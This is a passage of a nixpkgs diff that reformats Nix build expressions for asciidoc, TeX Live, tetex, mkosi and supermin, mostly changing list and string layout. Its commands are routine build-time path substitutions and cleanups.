+    # Stop asciidoc from loading mpl/.old/chart-filter.conf
+    rm -rf "$out/etc/asciidoc/filters/mpl/.old"
+    # Add matplotlib and numpy to sys.path
+    matplotlib_path="$(toPythonPath ${matplotlib})"
+    numpy_path="$(toPythonPath ${numpy})"
+    sed -i "/^import.*sys/asys.path.append(\"$matplotlib_path\"); sys.path.append(\"$numpy_path\");" \
+        "$out/etc/asciidoc/filters/mpl/mplw.py"
+  ''
+  + lib.optionalString _enableAafigureFilter ''
+    echo "Extracting aafigure filter"
+    unzip -d "$out/etc/asciidoc/filters/aafigure" "${aafigureFilterSrc}"
+    # Add aafigure to sys.path (and it needs recursive-pth-loader)
+    pth_loader_path="$(toPythonPath ${recursive-pth-loader})"
+    aafigure_path="$(toPythonPath ${aafigure})"
+    sed -i "/^import.*sys/asys.path.append(\"$pth_loader_path\"); sys.path.append(\"$aafigure_path\"); import sitecustomize" \
+        "$out/etc/asciidoc/filters/aafigure/aafig2img.py"
+  ''
+  + lib.optionalString _enableDeckjsBackend ''
+    echo "Extracting deckjs backend"
+    unzip -d "$out/etc/asciidoc/backends/deckjs" "${deckjsBackendSrc}"
+  ''
+  + lib.optionalString _enableOdfBackend ''
+    echo "Extracting odf backend (odt + odp)"
+    unzip -d "$out/etc/asciidoc/backends/odt" "${odtBackendSrc}"
+    unzip -d "$out/etc/asciidoc/backends/odp" "${odpBackendSrc}"
+    # The odt backend has a TODO note about removing this hardcoded path, but
+    # the odp backend already has that fix. Copy it here until fixed upstream.
+    sed -i "s|'/etc/asciidoc/backends/odt/asciidoc.ott'|os.path.dirname(__file__),'asciidoc.ott'|" \
+        "$out/etc/asciidoc/backends/odt/a2x-backend.py"
+  ''
+  + (
+    if enableStandardFeatures then
+      ''
+        sed -e "s|dot|${graphviz}/bin/dot|g" \
+            -e "s|neato|${graphviz}/bin/neato|g" \
+            -e "s|twopi|${graphviz}/bin/twopi|g" \
+            -e "s|circo|${graphviz}/bin/circo|g" \
+            -e "s|fdp|${graphviz}/bin/fdp|g" \
+            -i "asciidoc/resources/filters/graphviz/graphviz2png.py"
 
-          sed -e "s|run('latex|run('${texlive}/bin/latex|g" \
-              -e "s|cmd = 'dvipng'|cmd = '${texlive}/bin/dvipng'|g" \
-              -e "s|cmd = 'dvisvgm'|cmd = '${texlive}/bin/dvisvgm'|g" \
-              -i "asciidoc/resources/filters/latex/latex2img.py"
+        sed -e "s|run('latex|run('${texlive}/bin/latex|g" \
+            -e "s|cmd = 'dvipng'|cmd = '${texlive}/bin/dvipng'|g" \
+            -e "s|cmd = 'dvisvgm'|cmd = '${texlive}/bin/dvisvgm'|g" \
+            -i "asciidoc/resources/filters/latex/latex2img.py"
 
-          sed -e "s|run('abc2ly|run('${lilypond}/bin/abc2ly|g" \
-              -e "s|run('lilypond|run('${lilypond}/bin/lilypond|g" \
-              -e "s|run('convert|run('${imagemagick.out}/bin/convert|g" \
-              -i "asciidoc/resources/filters/music/music2png.py"
+        sed -e "s|run('abc2ly|run('${lilypond}/bin/abc2ly|g" \
+            -e "s|run('lilypond|run('${lilypond}/bin/lilypond|g" \
+            -e "s|run('convert|run('${imagemagick.out}/bin/convert|g" \
+            -i "asciidoc/resources/filters/music/music2png.py"
 
-          sed -e 's|filter="source-highlight|filter="${sourceHighlight}/bin/source-highlight|' \
-              -e 's|filter="highlight|filter="${highlight}/bin/highlight|' \
-              -e 's|filter="pygmentize|filter="${pygments}/bin/pygmentize|' \
-              -i "asciidoc/resources/filters/source/source-highlight-filter.conf"
+        sed -e 's|filter="source-highlight|filter="${sourceHighlight}/bin/source-highlight|' \
+            -e 's|filter="highlight|filter="${highlight}/bin/highlight|' \
+            -e 's|filter="pygmentize|filter="${pygments}/bin/pygmentize|' \
+            -i "asciidoc/resources/filters/source/source-highlight-filter.conf"
 
-          # ENV is custom environment passed to programs that a2x invokes. Here we
-          # use it to work around an impurity in the tetex package; tetex tools
-          # cannot find their neighbours (e.g. pdflatex doesn't find mktextfm).
-          # We can remove PATH= when those impurities are fixed.
-          # TODO: Is this still necessary when using texlive?
-          sed -e "s|^ENV =.*|ENV = dict(XML_CATALOG_FILES='${docbook_xml_dtd_45}/xml/dtd/docbook/catalog.xml ${docbook_xsl_ns}/xml/xsl/docbook/catalog.xml ${docbook_xsl}/xml/xsl/docbook/catalog.xml', PATH='${
-            lib.makeBinPath [
-              texlive
-              coreutils
-              gnused
-            ]
-          }', **(dict(filter(lambda v: v[0] == 'SOURCE_DATE_EPOCH', os.environ.items()))))|" \
-              -e "s|^ASCIIDOC =.*|ASCIIDOC = '$out/bin/asciidoc'|" \
-              -e "s|^XSLTPROC =.*|XSLTPROC = '${libxslt.bin}/bin/xsltproc'|" \
-              -e "s|^DBLATEX =.*|DBLATEX = '${dblatexFull}/bin/dblatex'|" \
-              ${lib.optionalString enableJava ''-e "s|^FOP =.*|FOP = '${fop}/bin/fop'|"''} \
-              -e "s|^W3M =.*|W3M = '${w3m}/bin/w3m'|" \
-              -e "s|^LYNX =.*|LYNX = '${lynx}/bin/lynx'|" \
-              -e "s|^XMLLINT =.*|XMLLINT = '${libxml2.bin}/bin/xmllint'|" \
-              -e "s|^EPUBCHECK =.*|EPUBCHECK = '${epubcheck}/bin/epubcheck'|" \
-              -i asciidoc/a2x.py
-        ''
-      else
-        ''
-          sed -e "s|^ENV =.*|ENV = dict(XML_CATALOG_FILES='${docbook_xml_dtd_45}/xml/dtd/docbook/catalog.xml ${docbook_xsl_ns}/xml/xsl/docbook/catalog.xml ${docbook_xsl}/xml/xsl/docbook/catalog.xml', **(dict(filter(lambda v: v[0] == 'SOURCE_DATE_EPOCH', os.environ.items()))))|" \
-              -e "s|^XSLTPROC =.*|XSLTPROC = '${libxslt.bin}/bin/xsltproc'|" \
-              -e "s|^XMLLINT =.*|XMLLINT = '${libxml2.bin}/bin/xmllint'|" \
-              -i asciidoc/a2x.py
-        ''
-    )
-    + ''
-      # Fix tests
-      for f in $(grep -R --files-with-matches "2002-11-25") ; do
-        substituteInPlace $f --replace "2002-11-25" "1980-01-02"
-        substituteInPlace $f --replace "00:37:42" "00:00:00"
-      done
-    ''
-    + lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) ''
-      # We want to use asciidoc from the build platform to build the documentation.
-      substituteInPlace Makefile.in \
-        --replace "python3 -m asciidoc.a2x" "${buildPackages.asciidoc}/bin/a2x"
-    '';
+        # ENV is custom environment passed to programs that a2x invokes. Here we
+        # use it to work around an impurity in the tetex package; tetex tools
+        # cannot find their neighbours (e.g. pdflatex doesn't find mktextfm).
+        # We can remove PATH= when those impurities are fixed.
+        # TODO: Is this still necessary when using texlive?
+        sed -e "s|^ENV =.*|ENV = dict(XML_CATALOG_FILES='${docbook_xml_dtd_45}/xml/dtd/docbook/catalog.xml ${docbook_xsl_ns}/xml/xsl/docbook/catalog.xml ${docbook_xsl}/xml/xsl/docbook/catalog.xml', PATH='${
+          lib.makeBinPath [
+            texlive
+            coreutils
+            gnused
+          ]
+        }', **(dict(filter(lambda v: v[0] == 'SOURCE_DATE_EPOCH', os.environ.items()))))|" \
+            -e "s|^ASCIIDOC =.*|ASCIIDOC = '$out/bin/asciidoc'|" \
+            -e "s|^XSLTPROC =.*|XSLTPROC = '${libxslt.bin}/bin/xsltproc'|" \
+            -e "s|^DBLATEX =.*|DBLATEX = '${dblatexFull}/bin/dblatex'|" \
+            ${lib.optionalString enableJava ''-e "s|^FOP =.*|FOP = '${fop}/bin/fop'|"''} \
+            -e "s|^W3M =.*|W3M = '${w3m}/bin/w3m'|" \
+            -e "s|^LYNX =.*|LYNX = '${lynx}/bin/lynx'|" \
+            -e "s|^XMLLINT =.*|XMLLINT = '${libxml2.bin}/bin/xmllint'|" \
+            -e "s|^EPUBCHECK =.*|EPUBCHECK = '${epubcheck}/bin/epubcheck'|" \
+            -i asciidoc/a2x.py
+      ''
+    else
+      ''
+        sed -e "s|^ENV =.*|ENV = dict(XML_CATALOG_FILES='${docbook_xml_dtd_45}/xml/dtd/docbook/catalog.xml ${docbook_xsl_ns}/xml/xsl/docbook/catalog.xml ${docbook_xsl}/xml/xsl/docbook/catalog.xml', **(dict(filter(lambda v: v[0] == 'SOURCE_DATE_EPOCH', os.environ.items()))))|" \
+            -e "s|^XSLTPROC =.*|XSLTPROC = '${libxslt.bin}/bin/xsltproc'|" \
+            -e "s|^XMLLINT =.*|XMLLINT = '${libxml2.bin}/bin/xmllint'|" \
+            -i asciidoc/a2x.py
+      ''
+  )
+  + ''
+    # Fix tests
+    for f in $(grep -R --files-with-matches "2002-11-25") ; do
+      substituteInPlace $f --replace "2002-11-25" "1980-01-02"
+      substituteInPlace $f --replace "00:37:42" "00:00:00"
+    done
+  ''
+  + lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) ''
+    # We want to use asciidoc from the build platform to build the documentation.
+    substituteInPlace Makefile.in \
+      --replace "python3 -m asciidoc.a2x" "${buildPackages.asciidoc}/bin/a2x"
+  '';
 
   build-system = with python3.pythonOnBuildForHost.pkgs; [ setuptools ];
 
@@ -333,7 +332,8 @@ python3.pkgs.buildPythonApplication rec {
     '';
     sourceProvenance = [
       lib.sourceTypes.fromSource
-    ] ++ lib.optional _enableDitaaFilter lib.sourceTypes.binaryBytecode;
+    ]
+    ++ lib.optional _enableDitaaFilter lib.sourceTypes.binaryBytecode;
     homepage = "https://asciidoc-py.github.io/";
     changelog = "https://github.com/asciidoc-py/asciidoc-py/blob/${version}/CHANGELOG.adoc";
     license = lib.licenses.gpl2Plus;
diff --git a/pkgs/tools/typesetting/tex/nix/default.nix b/pkgs/tools/typesetting/tex/nix/default.nix
index 9bc056fe696a..1d43b85cefc7 100644
--- a/pkgs/tools/typesetting/tex/nix/default.nix
+++ b/pkgs/tools/typesetting/tex/nix/default.nix
@@ -51,7 +51,8 @@ rec {
       buildInputs = [
         tex
         pkgs.perl
-      ] ++ packages;
+      ]
+      ++ packages;
     };
 
   # Returns the closure of the "dependencies" of a LaTeX source file.
diff --git a/pkgs/tools/typesetting/tex/tetex/default.nix b/pkgs/tools/typesetting/tex/tetex/default.nix
index 9cd558082699..eb561b13b448 100644
--- a/pkgs/tools/typesetting/tex/tetex/default.nix
+++ b/pkgs/tools/typesetting/tex/tetex/default.nix
@@ -63,20 +63,19 @@ stdenv.mkDerivation rec {
     CXXFLAGS = "-std=c++03";
   };
 
-  configureFlags =
-    [
-      "--disable-multiplatform"
-      "--without-x11"
-      "--without-xdvik"
-      "--without-oxdvik"
-      "--without-texinfo"
-      "--without-texi2html"
-      "--with-system-zlib"
-      "--with-system-pnglib"
-      "--with-system-ncurses"
-    ]
-    # couldn't get gsftopk working on darwin
-    ++ lib.optional stdenv.hostPlatform.isDarwin "--without-gsftopk";
+  configureFlags = [
+    "--disable-multiplatform"
+    "--without-x11"
+    "--without-xdvik"
+    "--without-oxdvik"
+    "--without-texinfo"
+    "--without-texi2html"
+    "--with-system-zlib"
+    "--with-system-pnglib"
+    "--with-system-ncurses"
+  ]
+  # couldn't get gsftopk working on darwin
+  ++ lib.optional stdenv.hostPlatform.isDarwin "--without-gsftopk";
 
   postUnpack = ''
     mkdir -p $out/share/texmf
diff --git a/pkgs/tools/typesetting/tex/texlive/bin.nix b/pkgs/tools/typesetting/tex/texlive/bin.nix
index 40eec27c5126..6d3f17607505 100644
--- a/pkgs/tools/typesetting/tex/texlive/bin.nix
+++ b/pkgs/tools/typesetting/tex/texlive/bin.nix
@@ -131,7 +131,8 @@ let
     "luahbtex"
     "upmendex"
     "xetex"
-  ] ++ lib.optional withLuaJIT "luajittex";
+  ]
+  ++ lib.optional withLuaJIT "luajittex";
   binPackages = lib.getAttrs (corePackages ++ coreBigPackages) tlpdb;
 
   common = {
@@ -150,56 +151,54 @@ let
       hash = "sha256-ZCoZAO0qGWPWW72BJOi5P7/A/qEm+SY3PQyLbx+e3pY=";
     };
 
-    prePatch =
-      ''
-        for i in texk/kpathsea/mktex*; do
-          sed -i '/^mydir=/d' "$i"
-        done
+    prePatch = ''
+      for i in texk/kpathsea/mktex*; do
+        sed -i '/^mydir=/d' "$i"
+      done
 
-        # ST_NLINK_TRICK causes kpathsea to treat folders with no real subfolders
-        # as leaves, even if they contain symlinks to other folders; must be
-        # disabled to work correctly with the nix store", see section 5.3.6
-        # “Subdirectory expansion” of the kpathsea manual
-        # http://mirrors.ctan.org/systems/doc/kpathsea/kpathsea.pdf for more
-        # details
-        sed -i '/^#define ST_NLINK_TRICK/d' texk/kpathsea/config.h
-      ''
-      +
-        # when cross compiling, we must use himktables from PATH
-        # (i.e. from buildPackages.texlive.bin.core.dev)
-        lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-          sed -i 's|\./himktables|himktables|' texk/web2c/Makefile.in
-        '';
+      # ST_NLINK_TRICK causes kpathsea to treat folders with no real subfolders
+      # as leaves, even if they contain symlinks to other folders; must be
+      # disabled to work correctly with the nix store", see section 5.3.6
+      # “Subdirectory expansion” of the kpathsea manual
+      # http://mirrors.ctan.org/systems/doc/kpathsea/kpathsea.pdf for more
+      # details
+      sed -i '/^#define ST_NLINK_TRICK/d' texk/kpathsea/config.h
+    ''
+    +
+      # when cross compiling, we must use himktables from PATH
+      # (i.e. from buildPackages.texlive.bin.core.dev)
+      lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+        sed -i 's|\./himktables|himktables|' texk/web2c/Makefile.in
+      '';
 
-    configureFlags =
-      [
-        "--with-banner-add=/nixos.org"
-        "--disable-missing"
-        # terminate if a requested program or feature must be
-        # disabled, e.g., due to missing libraries
-        "--disable-native-texlive-build" # do not build for the TeX Live binary distribution
-        "--enable-shared" # "--enable-cxx-runtime-hack" # static runtime
-        "--enable-tex-synctex"
-        "--disable-texlive" # do not build the texlive (TeX Live scripts) package
-        "--disable-linked-scripts" # do not install the linked scripts
-        "-C" # use configure cache to speed up
-      ]
-      ++ withSystemLibs [
-        # see "from TL tree" vs. "Using installed"  in configure output
-        "zziplib"
-        "mpfr"
-        "gmp"
-        "pixman"
-        "potrace"
-        "gd"
-        "freetype2"
-        "libpng"
-        "libpaper"
-        "zlib"
-      ]
-      ++ lib.optional (
-        stdenv.hostPlatform != stdenv.buildPlatform
-      ) "BUILDCC=${buildPackages.stdenv.cc.targetPrefix}cc";
+    configureFlags = [
+      "--with-banner-add=/nixos.org"
+      "--disable-missing"
+      # terminate if a requested program or feature must be
+      # disabled, e.g., due to missing libraries
+      "--disable-native-texlive-build" # do not build for the TeX Live binary distribution
+      "--enable-shared" # "--enable-cxx-runtime-hack" # static runtime
+      "--enable-tex-synctex"
+      "--disable-texlive" # do not build the texlive (TeX Live scripts) package
+      "--disable-linked-scripts" # do not install the linked scripts
+      "-C" # use configure cache to speed up
+    ]
+    ++ withSystemLibs [
+      # see "from TL tree" vs. "Using installed"  in configure output
+      "zziplib"
+      "mpfr"
+      "gmp"
+      "pixman"
+      "potrace"
+      "gd"
+      "freetype2"
+      "libpng"
+      "libpaper"
+      "zlib"
+    ]
+    ++ lib.optional (
+      stdenv.hostPlatform != stdenv.buildPlatform
+    ) "BUILDCC=${buildPackages.stdenv.cc.targetPrefix}cc";
 
     # move binaries to corresponding split outputs, based on content of texlive.tlpdb
     binToOutput = lib.listToAttrs (
@@ -266,24 +265,24 @@ rec {
       "dev"
       "man"
       "info"
-    ] ++ (builtins.map (builtins.replaceStrings [ "-" ] [ "_" ]) corePackages);
+    ]
+    ++ (builtins.map (builtins.replaceStrings [ "-" ] [ "_" ]) corePackages);
 
-    nativeBuildInputs =
+    nativeBuildInputs = [
+      pkg-config
+    ]
+    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) (
+      with texlive.bin.core;
       [
-        pkg-config
+        # configure: error: tangle was not found but is required when cross-compiling.
+        # dev (himktables) is used when building hitex to generate the additional source file hitables.c
+        web # tangle
+        cweb # ctangle
+        omegaware # otangle
+        tie # tie see "Building TeX Live" 6.4.2 Cross problems
+        dev # himktables
       ]
-      ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) (
-        with texlive.bin.core;
-        [
-          # configure: error: tangle was not found but is required when cross-compiling.
-          # dev (himktables) is used when building hitex to generate the additional source file hitables.c
-          web # tangle
-          cweb # ctangle
-          omegaware # otangle
-          tie # tie see "Building TeX Live" 6.4.2 Cross problems
-          dev # himktables
-        ]
-      );
+    );
 
     buildInputs = [
       # teckit
@@ -435,24 +434,23 @@ rec {
       deleting the unused packages speeds up configure by a considerable margin
       and ensures we do not rebuild existing libraries by mistake
     */
-    preConfigure =
-      ''
-        rm -r libs/{cairo,freetype2,gd,gmp,graphite2,harfbuzz,icu,libpaper,libpng} \
-          libs/{mpfr,pixman,xpdf,zlib,zziplib} \
-          texk/{afm2pl,bibtex-x,chktex,cjkutils,detex,dtl,dvi2tty,dvidvi,dviljk,dviout-util} \
-          texk/{dvipdfm-x,dvipng,dvipos,dvipsk,dvisvgm,gregorio,gsftopk,kpathsea} \
-          texk/{lcdf-typetools,makeindexk,makejvf,mendexk,musixtnt,ps2pk,psutils,ptexenc} \
-          texk/{seetexk,tex4htk,texlive,ttf2pk2,ttfdump,xdvik} \
-          utils/{asymptote,autosp,axodraw2,devnag,lacheck,m-tx,pmx,ps2eps,t1utils,texdoctk} \
-          utils/{tpic2pdftex,vlna,xindy,xml2pmx,xpdfopen}
-        mkdir WorkDir
-        cd WorkDir
-      ''
-      # force XeTeX to use fontconfig instead of Core Text, so that fonts can be made available via FONTCONFIG_FILE,
-      # by tricking configure into thinking that the relevant test result is already in the config cache
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        export kpse_cv_have_ApplicationServices=no
-      '';
+    preConfigure = ''
+      rm -r libs/{cairo,freetype2,gd,gmp,graphite2,harfbuzz,icu,libpaper,libpng} \
+        libs/{mpfr,pixman,xpdf,zlib,zziplib} \
+        texk/{afm2pl,bibtex-x,chktex,cjkutils,detex,dtl,dvi2tty,dvidvi,dviljk,dviout-util} \
+        texk/{dvipdfm-x,dvipng,dvipos,dvipsk,dvisvgm,gregorio,gsftopk,kpathsea} \
+        texk/{lcdf-typetools,makeindexk,makejvf,mendexk,musixtnt,ps2pk,psutils,ptexenc} \
+        texk/{seetexk,tex4htk,texlive,ttf2pk2,ttfdump,xdvik} \
+        utils/{asymptote,autosp,axodraw2,devnag,lacheck,m-tx,pmx,ps2eps,t1utils,texdoctk} \
+        utils/{tpic2pdftex,vlna,xindy,xml2pmx,xpdfopen}
+      mkdir WorkDir
+      cd WorkDir
+    ''
+    # force XeTeX to use fontconfig instead of Core Text, so that fonts can be made available via FONTCONFIG_FILE,
+    # by tricking configure into thinking that the relevant test result is already in the config cache
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      export kpse_cv_have_ApplicationServices=no
+    '';
 
     configureFlags =
       common.configureFlags
@@ -501,33 +499,30 @@ rec {
 
     doCheck = false; # fails
 
-    outputs =
-      [
-        "out"
-        "dev"
-        "man"
-        "info"
-      ]
-      ++ (builtins.map (builtins.replaceStrings [ "-" ] [ "_" ]) coreBigPackages)
-      # some outputs of metapost, omegaware are for ptex/uptex
-      ++ [
-        "ptex"
-        "uptex"
-      ]
-      # unavoidable duplicates from core
-      ++ [
-        "ctie"
-        "cweb"
-        "omegaware"
-        "texlive_scripts_extra"
-        "tie"
-        "web"
-      ];
-    postInstall =
-      common.moveBins
-      + ''
-        rm "${placeholder "ptex"}"/bin/{pbibtex,pdvitype,ppltotf,ptftopl}
-      '';
+    outputs = [
+      "out"
+      "dev"
+      "man"
+      "info"
+    ]
+    ++ (builtins.map (builtins.replaceStrings [ "-" ] [ "_" ]) coreBigPackages)
+    # some outputs of metapost, omegaware are for ptex/uptex
+    ++ [
+      "ptex"
+      "uptex"
+    ]
+    # unavoidable duplicates from core
+    ++ [
+      "ctie"
+      "cweb"
+      "omegaware"
+      "texlive_scripts_extra"
+      "tie"
+      "web"
+    ];
+    postInstall = common.moveBins + ''
+      rm "${placeholder "ptex"}"/bin/{pbibtex,pdvitype,ppltotf,ptftopl}
+    '';
   };
 
   chktex = stdenv.mkDerivation {
@@ -747,22 +742,21 @@ rec {
     inherit (common) src;
 
     nativeBuildInputs = [ pkg-config ];
-    buildInputs =
-      [
-        core # kpathsea
-        freetype
-        ghostscript
-      ]
-      ++ (with xorg; [
-        libX11
-        libXaw
-        libXi
-        libXpm
-        libXmu
-        libXaw
-        libXext
-        libXfixes
-      ]);
+    buildInputs = [
+      core # kpathsea
+      freetype
+      ghostscript
+    ]
+    ++ (with xorg; [
+      libX11
+      libXaw
+      libXi
+      libXpm
+      libXmu
+      libXaw
+      libXext
+      libXfixes
+    ]);
 
     preConfigure = "cd texk/xdvik";
 
diff --git a/pkgs/tools/typesetting/tex/texlive/build-tex-env.nix b/pkgs/tools/typesetting/tex/texlive/build-tex-env.nix
index 01ee20554031..e506100ecbb3 100644
--- a/pkgs/tools/typesetting/tex/texlive/build-tex-env.nix
+++ b/pkgs/tools/typesetting/tex/texlive/build-tex-env.nix
@@ -418,7 +418,8 @@ lib.fix (
         # use attrNames, attrValues to ensure the two lists are sorted in the same way
         outputs = [
           "out"
-        ] ++ lib.optionals (!__combine && __formatsOf == null) (builtins.attrNames nonEnvOutputs);
+        ]
+        ++ lib.optionals (!__combine && __formatsOf == null) (builtins.attrNames nonEnvOutputs);
         otherOutputs = lib.optionals (!__combine && __formatsOf == null) (
           builtins.attrValues nonEnvOutputs
         );
@@ -451,7 +452,8 @@ lib.fix (
           gawk
           gnugrep
           gnused
-        ] ++ lib.optional needsGhostscript ghostscript;
+        ]
+        ++ lib.optional needsGhostscript ghostscript;
 
         inherit meta passthru __combine;
         __formatsOf = __formatsOf.pname or null;
diff --git a/pkgs/tools/typesetting/tex/texlive/build-texlive-package.nix b/pkgs/tools/typesetting/tex/texlive/build-texlive-package.nix
index 923fa12fc912..11c77e487548 100644
--- a/pkgs/tools/typesetting/tex/texlive/build-texlive-package.nix
+++ b/pkgs/tools/typesetting/tex/texlive/build-texlive-package.nix
@@ -62,28 +62,27 @@
 let
   # common metadata
   name = "${pname}-${version}${extraVersion}";
-  meta =
-    {
-      license = map (x: lib.licenses.${x}) license;
-      # TeX Live packages should not be installed directly into the user profile
-      outputsToInstall = [ ];
-      longDescription = ''
-        This package cannot be installed or used directly. Please use `texlive.withPackages (ps: [ ps.${lib.strings.escapeNixIdentifier pname} ])`.
-      '';
-      # discourage nix-env from matching this package
-      priority = 10;
-      platforms = lib.platforms.all;
-      # These create a large number of jobs, which puts load on Hydra
-      # without any appreciable benefit (as the combined packages already
-      # cause them all to be built and cached anyway).
-      hydraPlatforms = [ ];
-    }
-    // lib.optionalAttrs (args ? shortdesc) {
-      description = args.shortdesc;
-    }
-    // lib.optionalAttrs hasCatalogue {
-      homepage = "https://ctan.org/pkg/${catalogue}";
-    };
+  meta = {
+    license = map (x: lib.licenses.${x}) license;
+    # TeX Live packages should not be installed directly into the user profile
+    outputsToInstall = [ ];
+    longDescription = ''
+      This package cannot be installed or used directly. Please use `texlive.withPackages (ps: [ ps.${lib.strings.escapeNixIdentifier pname} ])`.
+    '';
+    # discourage nix-env from matching this package
+    priority = 10;
+    platforms = lib.platforms.all;
+    # These create a large number of jobs, which puts load on Hydra
+    # without any appreciable benefit (as the combined packages already
+    # cause them all to be built and cached anyway).
+    hydraPlatforms = [ ];
+  }
+  // lib.optionalAttrs (args ? shortdesc) {
+    description = args.shortdesc;
+  }
+  // lib.optionalAttrs hasCatalogue {
+    homepage = "https://ctan.org/pkg/${catalogue}";
+  };
 
   hasBinfiles = args ? binfiles && args.binfiles != [ ];
   hasDocfiles = sha512 ? doc;
@@ -103,22 +102,21 @@ let
     ++ lib.optional hasInfo "info";
   outputDrvs = lib.getAttrs outputs containers;
 
-  passthru =
-    {
-      # metadata
-      inherit pname;
-      revision = toString revision + extraRevision;
-      version = version + extraVersion;
-      # containers behave like specified outputs
-      outputSpecified = true;
-    }
-    // lib.optionalAttrs (args ? deps) { tlDeps = args.deps; }
-    // lib.optionalAttrs (args ? fontMaps) { inherit (args) fontMaps; }
-    // lib.optionalAttrs (args ? formats) { inherit (args) formats; }
-    // lib.optionalAttrs (args ? hyphenPatterns) { inherit (args) hyphenPatterns; }
-    // lib.optionalAttrs (args ? postactionScript) { inherit (args) postactionScript; }
-    // lib.optionalAttrs hasSource { inherit (containers) texsource; }
-    // lib.optionalAttrs (!hasRunfiles) { tex = fakeTeX; };
+  passthru = {
+    # metadata
+    inherit pname;
+    revision = toString revision + extraRevision;
+    version = version + extraVersion;
+    # containers behave like specified outputs
+    outputSpecified = true;
+  }
+  // lib.optionalAttrs (args ? deps) { tlDeps = args.deps; }
+  // lib.optionalAttrs (args ? fontMaps) { inherit (args) fontMaps; }
+  // lib.optionalAttrs (args ? formats) { inherit (args) formats; }
+  // lib.optionalAttrs (args ? hyphenPatterns) { inherit (args) hyphenPatterns; }
+  // lib.optionalAttrs (args ? postactionScript) { inherit (args) postactionScript; }
+  // lib.optionalAttrs hasSource { inherit (containers) texsource; }
+  // lib.optionalAttrs (!hasRunfiles) { tex = fakeTeX; };
 
   # build run, doc, source, tlpkg containers
   mkContainer =
diff --git a/pkgs/tools/typesetting/tex/texlive/tlpdb-overrides.nix b/pkgs/tools/typesetting/tex/texlive/tlpdb-overrides.nix
index 535fd5d9637f..a175b6fb18b9 100644
--- a/pkgs/tools/typesetting/tex/texlive/tlpdb-overrides.nix
+++ b/pkgs/tools/typesetting/tex/texlive/tlpdb-overrides.nix
@@ -575,8 +575,11 @@ lib.recursiveUpdate orig rec {
     extraVersion = "-tlpdb-${toString tlpdbVersion.revision}";
 
     # add license of tlmgr and TeXLive::* perl packages and of bin.core
-    license =
-      [ "gpl2Plus" ] ++ lib.toList bin.core.meta.license.shortName ++ orig."texlive.infra".license or [ ];
+    license = [
+      "gpl2Plus"
+    ]
+    ++ lib.toList bin.core.meta.license.shortName
+    ++ orig."texlive.infra".license or [ ];
 
     scriptsFolder = "texlive";
     extraBuildInputs = [
diff --git a/pkgs/tools/virtualization/mkosi/default.nix b/pkgs/tools/virtualization/mkosi/default.nix
index 1163a909fec3..12d5f333082b 100644
--- a/pkgs/tools/virtualization/mkosi/default.nix
+++ b/pkgs/tools/virtualization/mkosi/default.nix
@@ -47,21 +47,20 @@ let
 
   pythonWithPefile = python.withPackages (ps: [ ps.pefile ]);
 
-  deps =
-    [
-      bash
-      btrfs-progs
-      coreutils
-      cpio
-      gnutar
-      kmod
-      systemdForMkosi
-      util-linux
-    ]
-    ++ extraDeps
-    ++ lib.optionals withQemu [
-      qemu
-    ];
+  deps = [
+    bash
+    btrfs-progs
+    coreutils
+    cpio
+    gnutar
+    kmod
+    systemdForMkosi
+    util-linux
+  ]
+  ++ extraDeps
+  ++ lib.optionals withQemu [
+    qemu
+  ];
 in
 buildPythonApplication rec {
   pname = "mkosi";
@@ -80,24 +79,23 @@ buildPythonApplication rec {
     hash = "sha256-3dhr9lFJpI8aN8HILaMvGuuTbmTVUqdaLAGxSpqciTs=";
   };
 
-  patches =
-    [
-      (replaceVars ./0001-Use-wrapped-binaries-instead-of-Python-interpreter.patch {
-        UKIFY = "${systemdForMkosi}/lib/systemd/ukify";
-        PYTHON_PEFILE = lib.getExe pythonWithPefile;
-        NIX_PATH = toString (lib.makeBinPath deps);
-        MKOSI_SANDBOX = null; # will be replaced in postPatch
-      })
-      (replaceVars ./0002-Fix-library-resolving.patch {
-        LIBC = "${stdenv.cc.libc}/lib/libc.so.6";
-        LIBSECCOMP = "${libseccomp.lib}/lib/libseccomp.so.2";
-      })
-    ]
-    ++ lib.optional withQemu (
-      replaceVars ./0003-Fix-QEMU-firmware-path.patch {
-        QEMU_FIRMWARE = "${qemu}/share/qemu/firmware";
-      }
-    );
+  patches = [
+    (replaceVars ./0001-Use-wrapped-binaries-instead-of-Python-interpreter.patch {
+      UKIFY = "${systemdForMkosi}/lib/systemd/ukify";
+      PYTHON_PEFILE = lib.getExe pythonWithPefile;
+      NIX_PATH = toString (lib.makeBinPath deps);
+      MKOSI_SANDBOX = null; # will be replaced in postPatch
+    })
+    (replaceVars ./0002-Fix-library-resolving.patch {
+      LIBC = "${stdenv.cc.libc}/lib/libc.so.6";
+      LIBSECCOMP = "${libseccomp.lib}/lib/libseccomp.so.2";
+    })
+  ]
+  ++ lib.optional withQemu (
+    replaceVars ./0003-Fix-QEMU-firmware-path.patch {
+      QEMU_FIRMWARE = "${qemu}/share/qemu/firmware";
+    }
+  );
 
   postPatch = ''
     # As we need the $out reference, we can't use `replaceVars` here.
diff --git a/pkgs/tools/virtualization/supermin/default.nix b/pkgs/tools/virtualization/supermin/default.nix
index 4c55b3909798..ffc624d59463 100644
--- a/pkgs/tools/virtualization/supermin/default.nix
+++ b/pkgs/tools/virtualization/supermin/default.nix
@@ -19,17 +19,16 @@ stdenv.mkDerivation (finalAttrs: {
     sha256 = "zjkh02NcgWjPt8oMWoK51c71srJx+Et3bWO4u77sNY4=";
   };
 
-  nativeBuildInputs =
-    [
-      cpio
-      e2fsprogs
-      perl
-      pkg-config
-    ]
-    ++ (with ocamlPackages; [
-      findlib
-      ocaml
-    ]);
+  nativeBuildInputs = [
+    cpio
+    e2fsprogs
+    perl
+    pkg-config
+  ]
+  ++ (with ocamlPackages; [
+    findlib
+    ocaml
+  ]);
   buildInputs = lib.optionals stdenv.hostPlatform.isGnu [
     glibc
     glibc.static
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 53fac850ba68..2b2f34f3d933 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -3898,8 +3898,7 @@ with pkgs;
     toPythonApplication (
